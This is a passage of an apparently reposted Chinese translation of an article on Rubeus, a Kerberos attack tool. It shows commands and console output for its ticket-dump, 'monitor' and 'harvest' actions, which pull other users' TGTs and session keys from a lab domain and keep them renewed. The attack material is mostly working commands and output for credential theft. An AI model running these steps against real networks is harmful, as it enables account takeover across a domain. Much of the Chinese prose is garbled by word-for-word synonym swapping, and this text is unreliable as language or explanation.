    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, initial, renewable, forwardable
    StartTime                : 9/17/2018 4:20:25 PM
    EndTime                  : 9/17/2018 9:20:25 PM
    RenewUntil               : 9/24/2018 2:05:26 AM
    TimeSkew                 : 0
    EncodedTicketSize        : 1338
    Base64EncodedTicket      :

      doIFNjCCBTKgAwIBBaEDAg...(snip)...


[*] Enumerated 4 total tickets
[*] Extracted  1 total tickets

请注重,此操纵必需从提拔了特权的高低文中运转,以便 dump 其他用户的 Kerberos 票证!

功用引见之monitor

Monitor操纵将看管 4624 这个登录事宜的事宜日记,并为新的登录 id (LUID)提取任何新的 TGT 票证。 /interval 参数(以秒为单元,默许值为60)指定搜检事宜日记的频次。 /filteruser:X参数能够指定只返回特定用户的票证数据。 在启用了无束缚委派的效劳器上,此功用迥殊有效。 😉

/filteruser(或许未指定任何用户) 建立了一个新的 4624 登录事宜时,将输出任何提取的 TGT KRB-CRED 数据。

c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a


[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
[*] Target LUID     : 0x991972
[*] Target service  : krbtgt

  UserName                 : dfm.a
  Domain                   : TESTLAB
  LogonId                  : 10033522
  UserSID                  : S-1-5-21-883232822-274137685-4173207997-1110
  AuthenticationPackage    : Kerberos
  LogonType                : Network
  LogonTime                : 9/18/2018 2:59:02 AM
  LogonServer              :
  LogonServerDNSDomain     : TESTLAB.LOCAL
  UserPrincipalName        :

    ServiceName              : krbtgt
    TargetName               :
    ClientName               : dfm.a
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, renewable, forwarded, forwardable
    StartTime                : 9/17/2018 7:59:02 PM
    EndTime                  : 9/18/2018 12:58:59 AM
    RenewUntil               : 9/24/2018 7:58:59 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1470
    Base64EncodedTicket      :

      doIFujCCBbagAwIBBaE...(snip)...


[*] Extracted  1 total tickets

请注重,这个操纵须要从一个晋级了特权的高低文中运转!

功用引见之harvest

收割(harvest)操纵使监控器(monitor)又前进了一步。 它每隔一段时候(时候由/interval:MINUTES指定)看管 4624 事宜的事宜日记: 新登录的事宜,提取任何新的 TGT KRB-CRED 文件,并保留任何提取的 TGT 的缓存。 /interval指定的时候周期内,任何鄙人一个距离之前到期的 TGT 都邑自动更新(直到到达它们的更新限定) ,以及当前可用的或有效的 TGT KRB-CRED .kirbis 缓存将输出为 base64 编码的数据块。

这许可你在不翻开 LSASS 的读句柄的状况下从体系中猎取可用的 TGT,只管须要进步权限来提取票证。

c:\Rubeus>Rubeus.exe harvest /interval:30

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v0.0.1a

[*] Action: TGT Harvesting (w/ auto-renewal)

[*] Monitoring every 30 minutes for 4624 logon events

...(snip)...

[*] Renewing TGT for [email protected]
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes

[*] 9/17/2018 6:43:02 AM - Current usable TGTs:

User                  :  [email protected]
StartTime             :  9/17/2018 6:43:02 AM
EndTime               :  9/17/2018 11:43:02 AM
RenewTill             :  9/24/2018 2:07:48 AM
Flags                 :  name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket   :

    doIFujCCBbagAw...(snip)...

请注重,此操纵必需从一个晋级了特权的高低文中运转!

这能够与 Seatbelt 4624 事宜功用很好地配对,该功用将剖析过去7天内有 4624 帐户登录事宜的事宜日记。 如果有一个感兴趣的帐户在半划定规矩的基本上进行了身份验证,其登录范例将致使进击者可取得其 Kerberos TGT,而 harvest功用能够协助你取得此凭据。

总结

我为这个项目付出了许多心血、汗水和( Kerberos 相干的)眼泪,我很愉快能把它交到其他平安研讨人员的手中。 愿望我们都能最先接收 Kekeo 内里那些很棒的功用,纵然它被包装在另一个 shell 中。

请注重,这段代码是个 beta 版本——它已在有限的环境中进行了测试,然则我确信它还存在林林总总的毛病和题目。

原文地点: https://www.4hou.com/system/18787.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从Kekeo到Rubeus:高等域渗入之Kerberoast的简化应用详解
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址